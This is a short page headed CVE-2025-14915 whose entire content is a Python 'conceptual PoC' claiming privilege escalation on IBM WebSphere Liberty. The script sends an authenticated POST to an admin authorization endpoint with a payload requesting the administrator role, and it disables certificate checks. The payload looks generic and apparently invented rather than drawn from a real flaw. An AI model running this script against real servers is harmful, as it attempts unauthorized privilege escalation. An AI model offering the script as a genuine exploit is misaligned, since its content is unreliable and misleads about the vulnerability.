CVE-2025-14915

import requests # Conceptual PoC for CVE-2025-14915 # Target: IBM WebSphere Application Server Liberty # Note: This requires a valid high-privileged session. target_url = "https://target-server:9443/ibm/api/admin/config/authorization" headers = { "Authorization": "Bearer <valid_high_privilege_token>", "Content-Type": "application/json" } # Payload attempting to exploit privilege escalation payload = { "operation": "escalate", "targetRole": "administrator" } try: response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200 and "administrator" in response.text: print("[+] Privilege escalation vulnerability confirmed!") print("[+] Granted access:", response.json()) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"Error: {e}")

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